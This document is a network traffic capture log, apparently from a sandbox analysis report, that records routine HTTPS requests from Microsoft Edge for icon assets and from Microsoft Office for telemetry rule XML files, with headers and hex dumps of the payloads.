2024-11-12 09:37:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49904	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:31 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:31 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:31 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 464222a3-301e-0020-41b1-3404cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093731Z-17df447cdb528ltlhC1DFWnt1c0000000bgg00000000b8kt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:31 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49905	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:32 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 101974ec-101e-001e-44c3-34b2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093732Z-17df447cdb5w28bthC1DFWgb640000000bd000000000adbr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49906	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:32 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: b3b30f93-501e-003b-7ad0-342a59000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093732Z-17df447cdb5c9wvxhC1DFWn08n0000000c4g000000005bv7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49909	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:32 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 93a3a18f-901e-004b-34a2-34599d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093732Z-16547b76f7fknvdnhC1DFWxnys0000000fhg0000000030qn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49907	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:32 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 794c108b-001e-000a-0ab4-2e718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093732Z-16547b76f7fxdzxghC1DFWmf7n0000000ff000000000c2zk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49908	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:32 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 6767f570-501e-0056-07b1-348077000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093732Z-17df447cdb5qkskwhC1DFWeeg40000000c6g0000000067ee Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:32 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5b14ddc3-301e-0033-2bd2-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093732Z-16547b76f7fdtmzhhC1DFW6zhc00000004bg0000000052hq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: a35882d9-a01e-000d-39a0-34d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093732Z-15869dbbcc6tfpj2hC1DFW384c00000009900000000062nv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a8f5567d-f01e-003f-7aa0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093732Z-17df447cdb528ltlhC1DFWnt1c0000000bkg000000008gsr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:32 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 4847cb37-401e-0016-7fd2-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093732Z-16547b76f7f7scqbhC1DFW0m5w0000000fb00000000049b9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
